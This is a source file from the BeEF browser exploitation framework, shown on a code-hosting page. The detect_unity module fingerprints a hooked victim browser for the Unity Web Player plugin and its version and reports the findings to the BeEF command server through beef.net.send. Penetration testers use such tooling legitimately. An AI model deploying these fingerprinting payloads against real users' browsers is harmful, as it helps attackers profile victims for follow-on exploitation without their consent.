Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/detect_unity/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var hasUnity = function() {
10
11
// Internet Explorer
12
if ( beef.browser.isIE() ) {
13
14
try {
15
var unity_test = new ActiveXObject('UnityWebPlayer.UnityWebPlayer.1');
16
} catch (e) { }
17
18
if ( unity_test ) {
19
return true;
20
}
21
22
// Not Internet Explorer
23
} else if ( navigator.mimeTypes && navigator.mimeTypes["application/vnd.unity"] ) {
24
25
if ( navigator.mimeTypes["application/vnd.unity"].enabledPlugin &&
26
navigator.plugins &&
27
navigator.plugins["Unity Player"] ) {
28
29
return true;
30
31
}
32
33
}
34
35
return false;
36
37
}
38
39
40
41
if ( hasUnity() ) {
42
43
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity = Unity Web Player is enabled");
44
45
if ( !beef.browser.isIE() ) {
46
47
var unityRegex = /Unity Web Player version (.*). \(c\)/g;
48
var match = unityRegex.exec(navigator.plugins["Unity Player"].description);
49
50
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity version = "+ match[1]);
51
52
}
53
54
} else {
55
56
beef.net.send("<%= @command_url %>", <%= @command_id %>, "unity = Unity Web Player is not enabled");
57
58
}
59
60
});
61
62